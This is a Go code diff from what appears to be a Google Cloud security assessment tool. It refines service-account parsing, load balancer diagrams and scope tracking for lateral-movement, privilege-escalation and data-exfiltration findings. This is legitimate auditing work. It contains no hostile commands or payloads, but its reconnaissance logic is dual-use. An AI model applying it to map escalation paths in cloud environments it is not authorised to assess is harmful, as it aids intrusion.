@@ -247,8 +248,9 @@ func (s *CrossProjectService) GetCrossProjectServiceAccounts(projectIDs []string
|
||||
return crossProjectSAs, nil
|
||||
}
|
||||
|
||||
// FindLateralMovementPaths identifies lateral movement paths between projects
|
||||
func (s *CrossProjectService) FindLateralMovementPaths(projectIDs []string) ([]LateralMovementPath, error) {
|
||||
// FindLateralMovementPaths identifies lateral movement paths between projects.
|
||||
// If orgCache is provided, it resolves project numbers to IDs for accurate detection.
|
||||
func (s *CrossProjectService) FindLateralMovementPaths(projectIDs []string, orgCache *gcpinternal.OrgCache) ([]LateralMovementPath, error) {
|
||||
ctx := context.Background()
|
||||
|
||||
crmService, err := s.getResourceManagerService(ctx)
|
||||
@@ -274,7 +276,7 @@ func (s *CrossProjectService) FindLateralMovementPaths(projectIDs []string) ([]L
|
||||
// Find principals from source project that have access to target
|
||||
for _, binding := range policy.Bindings {
|
||||
for _, member := range binding.Members {
|
||||
memberProject := extractProjectFromMember(member)
|
||||
memberProject := extractProjectFromMember(member, orgCache)
|
||||
if memberProject == sourceProject {
|
||||
path := LateralMovementPath{
|
||||
SourceProject: sourceProject,
|
||||
@@ -445,34 +447,83 @@ func (s *CrossProjectService) generateLateralMovementCommands(path LateralMoveme
|
||||
return commands
|
||||
}
|
||||
|
||||
// extractProjectFromMember extracts the project ID from a member string
|
||||
func extractProjectFromMember(member string) string {
|
||||
// serviceAccount:[email protected]
|
||||
if strings.HasPrefix(member, "serviceAccount:") {
|
||||
email := strings.TrimPrefix(member, "serviceAccount:")
|
||||
// Format: [email protected]
|
||||
// or: [email protected]
|
||||
if strings.Contains(email, ".iam.gserviceaccount.com") {
|
||||
parts := strings.Split(email, "@")
|
||||
if len(parts) == 2 {
|
||||
domain := parts[1]
|
||||
projectPart := strings.TrimSuffix(domain, ".iam.gserviceaccount.com")
|
||||
return projectPart
|
||||
}
|
||||
}
|
||||
// App Engine default service accounts
|
||||
if strings.Contains(email, "@appspot.gserviceaccount.com") {
|
||||
parts := strings.Split(email, "@")
|
||||
if len(parts) == 2 {
|
||||
return strings.TrimSuffix(parts[1], ".appspot.gserviceaccount.com")
|
||||
}
|
||||
}
|
||||
// Compute Engine default service accounts: [email protected]
|
||||
if strings.Contains(email, "[email protected]") {
|
||||
// Can't extract project ID from project number easily
|
||||
return ""
|
||||
}
|
||||
// extractProjectFromMember extracts the project ID from a member string.
|
||||
// If orgCache is provided, it resolves project numbers to IDs.
|
||||
func extractProjectFromMember(member string, orgCache *gcpinternal.OrgCache) string {
|
||||
if !strings.HasPrefix(member, "serviceAccount:") {
|
||||
return ""
|
||||
}
|
||||
|
||||
email := strings.TrimPrefix(member, "serviceAccount:")
|
||||
parts := strings.Split(email, "@")
|
||||
if len(parts) != 2 {
|
||||
return ""
|
||||
}
|
||||
|
||||
prefix := parts[0]
|
||||
domain := parts[1]
|
||||
|
||||
// Helper to resolve a project number to ID via OrgCache
|
||||
resolveNumber := func(number string) string {
|
||||
if orgCache != nil && orgCache.IsPopulated() {
|
||||
if resolved := orgCache.GetProjectIDByNumber(number); resolved != "" {
|
||||
return resolved
|
||||
}
|
||||
}
|
||||
return "" // Can't resolve without cache
|
||||
}
|
||||
|
||||
// Pattern: [email protected] (regular SAs)
|
||||
// But NOT gcp-sa-* domains (those are Google service agents with project numbers)
|
||||
if strings.HasSuffix(domain, ".iam.gserviceaccount.com") && !strings.HasPrefix(domain, "gcp-sa-") {
|
||||
projectPart := strings.TrimSuffix(domain, ".iam.gserviceaccount.com")
|
||||
return projectPart
|
||||
}
|
||||
|
||||
// Pattern: service-PROJECT_NUMBER@gcp-sa-*.iam.gserviceaccount.com
|
||||
if strings.HasPrefix(domain, "gcp-sa-") && strings.HasSuffix(domain, ".iam.gserviceaccount.com") {
|
||||
number := prefix
|
||||
if strings.HasPrefix(prefix, "service-") {
|
||||
number = strings.TrimPrefix(prefix, "service-")
|
||||
}
|
||||
if resolved := resolveNumber(number); resolved != "" {
|
||||
return resolved
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// Pattern: [email protected]
|
||||
if domain == "appspot.gserviceaccount.com" {
|
||||
return prefix // This is already a project ID
|
||||
}
|
||||
|
||||
// Pattern: [email protected]
|
||||
if strings.HasSuffix(domain, "developer.gserviceaccount.com") {
|
||||
if idx := strings.Index(prefix, "-compute"); idx > 0 {
|
||||
number := prefix[:idx]
|
||||
if resolved := resolveNumber(number); resolved != "" {
|
||||
return resolved
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// Pattern: [email protected]
|
||||
if domain == "cloudservices.gserviceaccount.com" {
|
||||
if resolved := resolveNumber(prefix); resolved != "" {
|
||||
return resolved
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// Pattern: [email protected]
|
||||
if domain == "cloudbuild.gserviceaccount.com" {
|
||||
if resolved := resolveNumber(prefix); resolved != "" {
|
||||
return resolved
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
return ""
|
||||
}
|
||||
|
||||
|
||||
Regular → Executable
+157
-61
@@ -216,6 +216,8 @@ type LoadBalancerInfo struct {
|
||||
Region string
|
||||
BackendServices []string
|
||||
SecurityPolicy string
|
||||
// BackendDetails maps backend service name to its actual backends (instance groups, NEGs, etc.)
|
||||
BackendDetails map[string][]string
|
||||
}
|
||||
|
||||
// VPCPeeringInfo represents VPC peering for diagram purposes
|
||||
@@ -942,7 +944,7 @@ func DrawFirewallLegend(width int) string {
|
||||
// Load Balancer Diagram Functions
|
||||
// ========================================
|
||||
|
||||
// DrawLoadBalancerDiagram generates an ASCII diagram showing load balancer architecture
|
||||
// DrawLoadBalancerDiagram generates an ASCII diagram showing load balancer traffic flow
|
||||
func DrawLoadBalancerDiagram(
|
||||
loadBalancers []LoadBalancerInfo,
|
||||
projectID string,
|
||||
@@ -950,9 +952,9 @@ func DrawLoadBalancerDiagram(
|
||||
) string {
|
||||
var sb strings.Builder
|
||||
|
||||
title := "LOAD BALANCER ARCHITECTURE"
|
||||
title := "LOAD BALANCER TRAFFIC FLOW"
|
||||
if projectID != "" {
|
||||
title = fmt.Sprintf("LOAD BALANCER ARCHITECTURE (Project: %s)", projectID)
|
||||
title = fmt.Sprintf("LOAD BALANCER TRAFFIC FLOW (Project: %s)", projectID)
|
||||
}
|
||||
|
||||
sb.WriteString(DrawBox(title, width))
|
||||
@@ -968,20 +970,20 @@ func DrawLoadBalancerDiagram(
|
||||
}
|
||||
}
|
||||
|
||||
// Draw external load balancers
|
||||
// Draw external load balancers with flow
|
||||
if len(externalLBs) > 0 {
|
||||
sb.WriteString(drawLoadBalancerSection("EXTERNAL LOAD BALANCERS (Internet-facing)", externalLBs, width))
|
||||
sb.WriteString(drawLBFlowSection("EXTERNAL (Internet-facing)", externalLBs, width))
|
||||
sb.WriteString("\n")
|
||||
}
|
||||
|
||||
// Draw internal load balancers
|
||||
// Draw internal load balancers with flow
|
||||
if len(internalLBs) > 0 {
|
||||
sb.WriteString(drawLoadBalancerSection("INTERNAL LOAD BALANCERS (Private)", internalLBs, width))
|
||||
sb.WriteString(drawLBFlowSection("INTERNAL (VPC-only)", internalLBs, width))
|
||||
sb.WriteString("\n")
|
||||
}
|
||||
|
||||
// Draw architecture overview
|
||||
sb.WriteString(drawLBArchitectureOverview(externalLBs, internalLBs, width))
|
||||
// Summary stats
|
||||
sb.WriteString(drawLBSummary(externalLBs, internalLBs, width))
|
||||
|
||||
// Legend
|
||||
sb.WriteString(DrawLoadBalancerLegend(width))
|
||||
@@ -989,7 +991,8 @@ func DrawLoadBalancerDiagram(
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
func drawLoadBalancerSection(title string, lbs []LoadBalancerInfo, width int) string {
|
||||
// drawLBFlowSection draws individual load balancer flows showing frontend -> backend
|
||||
func drawLBFlowSection(title string, lbs []LoadBalancerInfo, width int) string {
|
||||
var sb strings.Builder
|
||||
|
||||
sb.WriteString("┌")
|
||||
@@ -1000,35 +1003,16 @@ func drawLoadBalancerSection(title string, lbs []LoadBalancerInfo, width int) st
|
||||
sb.WriteString(strings.Repeat("─", width-2))
|
||||
sb.WriteString("┤\n")
|
||||
|
||||
for _, lb := range lbs {
|
||||
// Security indicator
|
||||
securityLabel := ""
|
||||
if lb.SecurityPolicy != "" {
|
||||
securityLabel = " [Cloud Armor]"
|
||||
for i, lb := range lbs {
|
||||
// Draw flow for each load balancer
|
||||
sb.WriteString(drawSingleLBFlow(lb, width))
|
||||
|
||||
// Add separator between LBs (but not after the last one)
|
||||
if i < len(lbs)-1 {
|
||||
sb.WriteString("│")
|
||||
sb.WriteString(strings.Repeat("─", width-2))
|
||||
sb.WriteString("│\n")
|
||||
}
|
||||
|
||||
// Type and name
|
||||
typeLine := fmt.Sprintf(" %s: %s (%s)%s", lb.Type, lb.Name, lb.Region, securityLabel)
|
||||
if len(typeLine) > width-4 {
|
||||
typeLine = typeLine[:width-7] + "..."
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf("│ %-*s │\n", width-4, typeLine))
|
||||
|
||||
// IP and Port
|
||||
ipLine := fmt.Sprintf(" IP: %s:%s", lb.IPAddress, lb.Port)
|
||||
sb.WriteString(fmt.Sprintf("│ %-*s │\n", width-4, ipLine))
|
||||
|
||||
// Backend services
|
||||
if len(lb.BackendServices) > 0 {
|
||||
backends := strings.Join(lb.BackendServices, ", ")
|
||||
if len(backends) > width-20 {
|
||||
backends = backends[:width-23] + "..."
|
||||
}
|
||||
backendLine := fmt.Sprintf(" Backends: %s", backends)
|
||||
sb.WriteString(fmt.Sprintf("│ %-*s │\n", width-4, backendLine))
|
||||
}
|
||||
|
||||
sb.WriteString(DrawEmptyLine(width))
|
||||
}
|
||||
|
||||
sb.WriteString("└")
|
||||
@@ -1038,35 +1022,125 @@ func drawLoadBalancerSection(title string, lbs []LoadBalancerInfo, width int) st
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
func drawLBArchitectureOverview(externalLBs, internalLBs []LoadBalancerInfo, width int) string {
|
||||
// drawSingleLBFlow draws a single load balancer's traffic flow
|
||||
func drawSingleLBFlow(lb LoadBalancerInfo, width int) string {
|
||||
var sb strings.Builder
|
||||
|
||||
// Security indicator
|
||||
armorLabel := ""
|
||||
if lb.SecurityPolicy != "" {
|
||||
armorLabel = " [Cloud Armor: " + lb.SecurityPolicy + "]"
|
||||
}
|
||||
|
||||
// LB name and type header
|
||||
headerLine := fmt.Sprintf(" %s (%s, %s)%s", lb.Name, lb.Type, lb.Region, armorLabel)
|
||||
if len(headerLine) > width-4 {
|
||||
headerLine = headerLine[:width-7] + "..."
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf("│ %-*s │\n", width-4, headerLine))
|
||||
sb.WriteString(DrawEmptyLine(width))
|
||||
|
||||
// Frontend (IP:Port)
|
||||
frontendBox := fmt.Sprintf("%s:%s", lb.IPAddress, lb.Port)
|
||||
|
||||
// Build backend lines with actual backend targets
|
||||
var backendLines []string
|
||||
if len(lb.BackendServices) == 0 {
|
||||
backendLines = []string{"(no backends)"}
|
||||
} else {
|
||||
for _, beSvc := range lb.BackendServices {
|
||||
// Check if we have detailed backend info
|
||||
if lb.BackendDetails != nil {
|
||||
if targets, ok := lb.BackendDetails[beSvc]; ok && len(targets) > 0 {
|
||||
// Show backend service with its targets
|
||||
backendLines = append(backendLines, fmt.Sprintf("%s:", beSvc))
|
||||
for _, target := range targets {
|
||||
backendLines = append(backendLines, fmt.Sprintf(" -> %s", target))
|
||||
}
|
||||
} else {
|
||||
backendLines = append(backendLines, beSvc)
|
||||
}
|
||||
} else {
|
||||
backendLines = append(backendLines, beSvc)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Calculate dynamic backend width based on longest line
|
||||
backendWidth := 35
|
||||
for _, line := range backendLines {
|
||||
if len(line)+4 > backendWidth {
|
||||
backendWidth = len(line) + 4
|
||||
}
|
||||
}
|
||||
// Cap at reasonable max
|
||||
maxBackendWidth := width - 35
|
||||
if backendWidth > maxBackendWidth {
|
||||
backendWidth = maxBackendWidth
|
||||
}
|
||||
|
||||
frontendWidth := 23
|
||||
arrowWidth := 7
|
||||
padding := width - frontendWidth - backendWidth - arrowWidth - 8
|
||||
if padding < 0 {
|
||||
padding = 0
|
||||
}
|
||||
|
||||
// Top of boxes
|
||||
sb.WriteString(fmt.Sprintf("│ ┌%s┐ ┌%s┐%s│\n",
|
||||
strings.Repeat("─", frontendWidth),
|
||||
strings.Repeat("─", backendWidth),
|
||||
strings.Repeat(" ", padding)))
|
||||
|
||||
// Frontend label
|
||||
sb.WriteString(fmt.Sprintf("│ │ %-*s │ │ %-*s │%s│\n",
|
||||
frontendWidth-2, "FRONTEND",
|
||||
backendWidth-2, "BACKEND SERVICE -> TARGETS",
|
||||
strings.Repeat(" ", padding)))
|
||||
|
||||
// Separator with arrow
|
||||
sb.WriteString(fmt.Sprintf("│ ├%s┤ ───> ├%s┤%s│\n",
|
||||
strings.Repeat("─", frontendWidth),
|
||||
strings.Repeat("─", backendWidth),
|
||||
strings.Repeat(" ", padding)))
|
||||
|
||||
// IP:Port line with first backend
|
||||
sb.WriteString(fmt.Sprintf("│ │ %-*s │ │ %-*s │%s│\n",
|
||||
frontendWidth-2, frontendBox,
|
||||
backendWidth-2, safeGetIndex(backendLines, 0),
|
||||
strings.Repeat(" ", padding)))
|
||||
|
||||
// Additional backend lines
|
||||
for i := 1; i < len(backendLines); i++ {
|
||||
sb.WriteString(fmt.Sprintf("│ │ %-*s │ │ %-*s │%s│\n",
|
||||
frontendWidth-2, "",
|
||||
backendWidth-2, backendLines[i],
|
||||
strings.Repeat(" ", padding)))
|
||||
}
|
||||
|
||||
// Bottom of boxes
|
||||
sb.WriteString(fmt.Sprintf("│ └%s┘ └%s┘%s│\n",
|
||||
strings.Repeat("─", frontendWidth),
|
||||
strings.Repeat("─", backendWidth),
|
||||
strings.Repeat(" ", padding)))
|
||||
|
||||
sb.WriteString(DrawEmptyLine(width))
|
||||
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
// drawLBSummary draws summary statistics
|
||||
func drawLBSummary(externalLBs, internalLBs []LoadBalancerInfo, width int) string {
|
||||
var sb strings.Builder
|
||||
|
||||
sb.WriteString("┌")
|
||||
sb.WriteString(strings.Repeat("─", width-2))
|
||||
sb.WriteString("┐\n")
|
||||
sb.WriteString(fmt.Sprintf("│ %-*s │\n", width-4, "ARCHITECTURE OVERVIEW"))
|
||||
sb.WriteString(fmt.Sprintf("│ %-*s │\n", width-4, "SUMMARY"))
|
||||
sb.WriteString("├")
|
||||
sb.WriteString(strings.Repeat("─", width-2))
|
||||
sb.WriteString("┤\n")
|
||||
|
||||
sb.WriteString("│ │\n")
|
||||
|
||||
if len(externalLBs) > 0 {
|
||||
sb.WriteString("│ ┌─────────────┐ ┌─────────────────────┐ ┌─────────────┐ │\n")
|
||||
sb.WriteString("│ │ INTERNET │ ─────> │ External LB │ ─────> │ Backends │ │\n")
|
||||
sb.WriteString("│ │ │ │ (Cloud Armor) │ │ (GCE/GKE) │ │\n")
|
||||
sb.WriteString("│ └─────────────┘ └─────────────────────┘ └─────────────┘ │\n")
|
||||
sb.WriteString("│ │\n")
|
||||
}
|
||||
|
||||
if len(internalLBs) > 0 {
|
||||
sb.WriteString("│ ┌─────────────┐ ┌─────────────────────┐ ┌─────────────┐ │\n")
|
||||
sb.WriteString("│ │ VPC │ ─────> │ Internal LB │ ─────> │ Backends │ │\n")
|
||||
sb.WriteString("│ │ (Private) │ │ (Regional) │ │ (Private) │ │\n")
|
||||
sb.WriteString("│ └─────────────┘ └─────────────────────┘ └─────────────┘ │\n")
|
||||
sb.WriteString("│ │\n")
|
||||
}
|
||||
|
||||
// Count with Cloud Armor
|
||||
armorCount := 0
|
||||
for _, lb := range externalLBs {
|
||||
@@ -1075,15 +1149,18 @@ func drawLBArchitectureOverview(externalLBs, internalLBs []LoadBalancerInfo, wid
|
||||
}
|
||||
}
|
||||
|
||||
statsLine := fmt.Sprintf(" External: %d Internal: %d With Cloud Armor: %d", len(externalLBs), len(internalLBs), armorCount)
|
||||
statsLine := fmt.Sprintf(" External LBs: %d Internal LBs: %d With Cloud Armor: %d/%d",
|
||||
len(externalLBs), len(internalLBs), armorCount, len(externalLBs))
|
||||
sb.WriteString(fmt.Sprintf("│ %-*s │\n", width-4, statsLine))
|
||||
|
||||
if len(externalLBs) > 0 && armorCount == 0 {
|
||||
warningLine := " ⚠ No external load balancers have Cloud Armor protection"
|
||||
warningLine := " ⚠ WARNING: No external load balancers have Cloud Armor protection"
|
||||
sb.WriteString(fmt.Sprintf("│ %-*s │\n", width-4, warningLine))
|
||||
} else if len(externalLBs) > armorCount {
|
||||
warningLine := fmt.Sprintf(" ⚠ WARNING: %d external load balancer(s) missing Cloud Armor", len(externalLBs)-armorCount)
|
||||
sb.WriteString(fmt.Sprintf("│ %-*s │\n", width-4, warningLine))
|
||||
}
|
||||
|
||||
sb.WriteString("│ │\n")
|
||||
sb.WriteString("└")
|
||||
sb.WriteString(strings.Repeat("─", width-2))
|
||||
sb.WriteString("┘\n")
|
||||
@@ -1091,6 +1168,25 @@ func drawLBArchitectureOverview(externalLBs, internalLBs []LoadBalancerInfo, wid
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
// truncateString truncates a string to maxLen, adding "..." if needed
|
||||
func truncateString(s string, maxLen int) string {
|
||||
if len(s) <= maxLen {
|
||||
return s
|
||||
}
|
||||
if maxLen <= 3 {
|
||||
return s[:maxLen]
|
||||
}
|
||||
return s[:maxLen-3] + "..."
|
||||
}
|
||||
|
||||
// safeGetIndex safely gets an index from a slice, returning empty string if out of bounds
|
||||
func safeGetIndex(slice []string, index int) string {
|
||||
if index < len(slice) {
|
||||
return slice[index]
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// DrawLoadBalancerLegend draws the load balancer diagram legend
|
||||
func DrawLoadBalancerLegend(width int) string {
|
||||
var sb strings.Builder
|
||||
|
||||
Regular → Executable
+157
-2
@@ -205,6 +205,10 @@ type PrincipalAccessFile struct {
|
||||
ViaEdge bool `json:"via_edge"`
|
||||
EdgePath []string `json:"edge_path,omitempty"`
|
||||
Resource string `json:"resource,omitempty"`
|
||||
// Scope information (may be in JSON or derived from Resource)
|
||||
ScopeType string `json:"scope_type,omitempty"`
|
||||
ScopeID string `json:"scope_id,omitempty"`
|
||||
ScopeName string `json:"scope_name,omitempty"`
|
||||
}
|
||||
|
||||
// New creates a new FoxMapperService
|
||||
@@ -682,7 +686,7 @@ func (s *FoxMapperService) GetAttackSummary(principal string) string {
|
||||
highestLevel = "folder"
|
||||
}
|
||||
}
|
||||
return fmt.Sprintf("Privesc→%s (%d hops)", highestLevel, shortestHops)
|
||||
return fmt.Sprintf("Privesc->%s (%d hops)", highestLevel, shortestHops)
|
||||
}
|
||||
return "Privesc"
|
||||
}
|
||||
@@ -743,7 +747,7 @@ func (s *FoxMapperService) GetPrivescSummary() map[string]interface{} {
|
||||
// FormatPrivescPath formats a privesc path for display
|
||||
func FormatPrivescPath(path PrivescPath) string {
|
||||
var sb strings.Builder
|
||||
sb.WriteString(fmt.Sprintf("%s → %s (%d hops)\n", path.Source, path.Destination, path.HopCount))
|
||||
sb.WriteString(fmt.Sprintf("%s -> %s (%d hops)\n", path.Source, path.Destination, path.HopCount))
|
||||
for i, edge := range path.Edges {
|
||||
scopeInfo := ""
|
||||
if edge.ScopeBlocksEscalation {
|
||||
@@ -854,6 +858,10 @@ type PrincipalAccess struct {
|
||||
ViaEdge bool `json:"via_edge"`
|
||||
EdgePath []string `json:"edge_path,omitempty"`
|
||||
HasCondition bool `json:"has_condition"`
|
||||
// Scope information - WHERE the permission was granted
|
||||
ScopeType string `json:"scope_type,omitempty"` // organization, folder, project
|
||||
ScopeID string `json:"scope_id,omitempty"` // The org/folder/project ID
|
||||
ScopeName string `json:"scope_name,omitempty"` // Display name if available
|
||||
}
|
||||
|
||||
// CategoryInfo provides summary info for a category
|
||||
@@ -1131,6 +1139,9 @@ func (s *FoxMapperService) AnalyzeLateral(category string) []LateralFinding {
|
||||
func (s *FoxMapperService) analyzeLateralFromFindings(category string) []LateralFinding {
|
||||
var findings []LateralFinding
|
||||
|
||||
// Get the project ID from the findings data for project-level scope derivation
|
||||
projectID := s.LateralFindingsData.ProjectID
|
||||
|
||||
for _, f := range s.LateralFindingsData.Findings {
|
||||
// Filter by category if specified
|
||||
if category != "" && f.Category != category {
|
||||
@@ -1140,6 +1151,21 @@ func (s *FoxMapperService) analyzeLateralFromFindings(category string) []Lateral
|
||||
// Convert file format to internal format
|
||||
var principals []PrincipalAccess
|
||||
for _, p := range f.Principals {
|
||||
// Get scope info from JSON fields, Resource, or derive from access_type
|
||||
scopeType := p.ScopeType
|
||||
scopeID := p.ScopeID
|
||||
scopeName := p.ScopeName
|
||||
|
||||
if scopeType == "" {
|
||||
if p.Resource != "" {
|
||||
// Resource field exists in JSON
|
||||
scopeType, scopeID, scopeName = s.parseResourceScope(p.Resource)
|
||||
} else {
|
||||
// Derive scope from access_type and available context
|
||||
scopeType, scopeID, scopeName = s.deriveScopeFromContext(p.MemberID, p.AccessType, p.ViaEdge, projectID)
|
||||
}
|
||||
}
|
||||
|
||||
principals = append(principals, PrincipalAccess{
|
||||
Principal: p.Principal,
|
||||
MemberID: p.MemberID,
|
||||
@@ -1149,6 +1175,9 @@ func (s *FoxMapperService) analyzeLateralFromFindings(category string) []Lateral
|
||||
AccessType: p.AccessType,
|
||||
ViaEdge: p.ViaEdge,
|
||||
EdgePath: p.EdgePath,
|
||||
ScopeType: scopeType,
|
||||
ScopeID: scopeID,
|
||||
ScopeName: scopeName,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -1186,6 +1215,7 @@ func (s *FoxMapperService) analyzeLateralFromEdges(category string) []LateralFin
|
||||
strings.Contains(edge.ShortReason, tech.Permission) {
|
||||
node := s.GetNode(edge.Source)
|
||||
if node != nil {
|
||||
scopeType, scopeID, scopeName := s.parseResourceScope(edge.Resource)
|
||||
principals = append(principals, PrincipalAccess{
|
||||
Principal: node.Email,
|
||||
MemberID: node.MemberID,
|
||||
@@ -1194,6 +1224,9 @@ func (s *FoxMapperService) analyzeLateralFromEdges(category string) []LateralFin
|
||||
IsServiceAccount: node.MemberType == "serviceAccount",
|
||||
AccessType: "via_privesc",
|
||||
ViaEdge: true,
|
||||
ScopeType: scopeType,
|
||||
ScopeID: scopeID,
|
||||
ScopeName: scopeName,
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -1334,6 +1367,9 @@ func (s *FoxMapperService) AnalyzeDataExfil(service string) []DataExfilFinding {
|
||||
func (s *FoxMapperService) analyzeDataExfilFromFindings(service string) []DataExfilFinding {
|
||||
var findings []DataExfilFinding
|
||||
|
||||
// Get the project ID from the findings data for project-level scope derivation
|
||||
projectID := s.DataExfilFindingsData.ProjectID
|
||||
|
||||
for _, f := range s.DataExfilFindingsData.Findings {
|
||||
// Filter by service if specified
|
||||
if service != "" && f.Service != service {
|
||||
@@ -1343,6 +1379,21 @@ func (s *FoxMapperService) analyzeDataExfilFromFindings(service string) []DataEx
|
||||
// Convert file format to internal format
|
||||
var principals []PrincipalAccess
|
||||
for _, p := range f.Principals {
|
||||
// Get scope info from JSON fields, Resource, or derive from access_type
|
||||
scopeType := p.ScopeType
|
||||
scopeID := p.ScopeID
|
||||
scopeName := p.ScopeName
|
||||
|
||||
if scopeType == "" {
|
||||
if p.Resource != "" {
|
||||
// Resource field exists in JSON
|
||||
scopeType, scopeID, scopeName = s.parseResourceScope(p.Resource)
|
||||
} else {
|
||||
// Derive scope from access_type and available context
|
||||
scopeType, scopeID, scopeName = s.deriveScopeFromContext(p.MemberID, p.AccessType, p.ViaEdge, projectID)
|
||||
}
|
||||
}
|
||||
|
||||
principals = append(principals, PrincipalAccess{
|
||||
Principal: p.Principal,
|
||||
MemberID: p.MemberID,
|
||||
@@ -1352,6 +1403,9 @@ func (s *FoxMapperService) analyzeDataExfilFromFindings(service string) []DataEx
|
||||
AccessType: p.AccessType,
|
||||
ViaEdge: p.ViaEdge,
|
||||
EdgePath: p.EdgePath,
|
||||
ScopeType: scopeType,
|
||||
ScopeID: scopeID,
|
||||
ScopeName: scopeName,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -1389,6 +1443,7 @@ func (s *FoxMapperService) analyzeDataExfilFromEdges(service string) []DataExfil
|
||||
strings.Contains(edge.ShortReason, tech.Permission) {
|
||||
node := s.GetNode(edge.Source)
|
||||
if node != nil {
|
||||
scopeType, scopeID, scopeName := s.parseResourceScope(edge.Resource)
|
||||
principals = append(principals, PrincipalAccess{
|
||||
Principal: node.Email,
|
||||
MemberID: node.MemberID,
|
||||
@@ -1397,6 +1452,9 @@ func (s *FoxMapperService) analyzeDataExfilFromEdges(service string) []DataExfil
|
||||
IsServiceAccount: node.MemberType == "serviceAccount",
|
||||
AccessType: "via_privesc",
|
||||
ViaEdge: true,
|
||||
ScopeType: scopeType,
|
||||
ScopeID: scopeID,
|
||||
ScopeName: scopeName,
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -1443,6 +1501,8 @@ type WrongAdminFinding struct {
|
||||
AdminLevel string `json:"admin_level"` // org, folder, project
|
||||
Reasons []string `json:"reasons"`
|
||||
ProjectID string `json:"project_id"`
|
||||
FolderID string `json:"folder_id,omitempty"` // For folder-level admins
|
||||
OrgID string `json:"org_id,omitempty"` // For org-level admins
|
||||
}
|
||||
|
||||
// ADMIN_ROLES are roles that grant explicit admin access
|
||||
@@ -1484,12 +1544,17 @@ func (s *FoxMapperService) AnalyzeWrongAdmins() []WrongAdminFinding {
|
||||
// This is a "wrong admin" - get reasons why they're admin
|
||||
reasons := s.getAdminReasons(node)
|
||||
|
||||
// Get the highest admin resource ID (org, folder, or project)
|
||||
folderID, orgID := s.getAdminResourceIDs(node)
|
||||
|
||||
finding := WrongAdminFinding{
|
||||
Principal: node.Email,
|
||||
MemberType: node.MemberType,
|
||||
AdminLevel: node.AdminLevel,
|
||||
Reasons: reasons,
|
||||
ProjectID: node.ProjectID,
|
||||
FolderID: folderID,
|
||||
OrgID: orgID,
|
||||
}
|
||||
|
||||
if finding.AdminLevel == "" {
|
||||
@@ -1657,3 +1722,93 @@ func (s *FoxMapperService) getPolicyLevel(resource string) string {
|
||||
}
|
||||
return "project"
|
||||
}
|
||||
|
||||
// getAdminResourceIDs returns the folder ID and org ID where the node has admin access
|
||||
// Returns the highest level resources (org > folder > project)
|
||||
func (s *FoxMapperService) getAdminResourceIDs(node *Node) (folderID, orgID string) {
|
||||
for _, policy := range s.Policies {
|
||||
for _, binding := range policy.Bindings {
|
||||
// Check for self-assignment roles (makes them admin)
|
||||
if !SELF_ASSIGNMENT_ROLES[binding.Role] {
|
||||
continue
|
||||
}
|
||||
|
||||
for _, member := range binding.Members {
|
||||
if s.memberMatchesNode(member, node) {
|
||||
// Extract resource ID based on type
|
||||
if strings.HasPrefix(policy.Resource, "organizations/") {
|
||||
orgID = strings.TrimPrefix(policy.Resource, "organizations/")
|
||||
} else if strings.HasPrefix(policy.Resource, "folders/") {
|
||||
// Only set folderID if we don't already have org admin
|
||||
// (org level is higher)
|
||||
if orgID == "" {
|
||||
folderID = strings.TrimPrefix(policy.Resource, "folders/")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return folderID, orgID
|
||||
}
|
||||
|
||||
// parseResourceScope extracts scope information from a resource string
|
||||
// Returns scopeType, scopeID, scopeName
|
||||
// Resource formats: "organizations/123", "folders/456", "projects/myproject", etc.
|
||||
func (s *FoxMapperService) parseResourceScope(resource string) (scopeType, scopeID, scopeName string) {
|
||||
if resource == "" {
|
||||
return "unknown", "", ""
|
||||
}
|
||||
|
||||
if strings.HasPrefix(resource, "organizations/") {
|
||||
scopeType = "organization"
|
||||
scopeID = strings.TrimPrefix(resource, "organizations/")
|
||||
// Try to get display name from metadata if available
|
||||
scopeName = scopeID
|
||||
} else if strings.HasPrefix(resource, "folders/") {
|
||||
scopeType = "folder"
|
||||
scopeID = strings.TrimPrefix(resource, "folders/")
|
||||
scopeName = scopeID
|
||||
} else if strings.HasPrefix(resource, "projects/") {
|
||||
scopeType = "project"
|
||||
scopeID = strings.TrimPrefix(resource, "projects/")
|
||||
scopeName = scopeID
|
||||
} else {
|
||||
// Resource-level permission (e.g., storage bucket, BigQuery dataset)
|
||||
scopeType = "resource"
|
||||
scopeID = resource
|
||||
scopeName = resource
|
||||
}
|
||||
|
||||
return scopeType, scopeID, scopeName
|
||||
}
|
||||
|
||||
// deriveScopeFromContext derives scope information when the Resource field is empty
|
||||
// This is needed for pre-computed findings that don't include the resource field.
|
||||
// For "project_iam" access type, we know the permission was granted at project level.
|
||||
// For "via_privesc" access type, we look up the edge to find where the permission was granted.
|
||||
func (s *FoxMapperService) deriveScopeFromContext(memberID, accessType string, viaEdge bool, fallbackProjectID string) (scopeType, scopeID, scopeName string) {
|
||||
// For project_iam access, the permission was granted at the project level
|
||||
if accessType == "project_iam" {
|
||||
return "project", fallbackProjectID, fallbackProjectID
|
||||
}
|
||||
|
||||
// For via_privesc with viaEdge=true, look up the edge to find the resource
|
||||
if viaEdge && accessType == "via_privesc" {
|
||||
// Find the first edge from this principal to determine scope
|
||||
for _, edge := range s.Edges {
|
||||
if edge.Source == memberID {
|
||||
if edge.Resource != "" {
|
||||
return s.parseResourceScope(edge.Resource)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Fallback: if we have a project ID, assume project-level
|
||||
if fallbackProjectID != "" {
|
||||
return "project", fallbackProjectID, fallbackProjectID
|
||||
}
|
||||
|
||||
return "unknown", "", ""
|
||||
}
|
||||
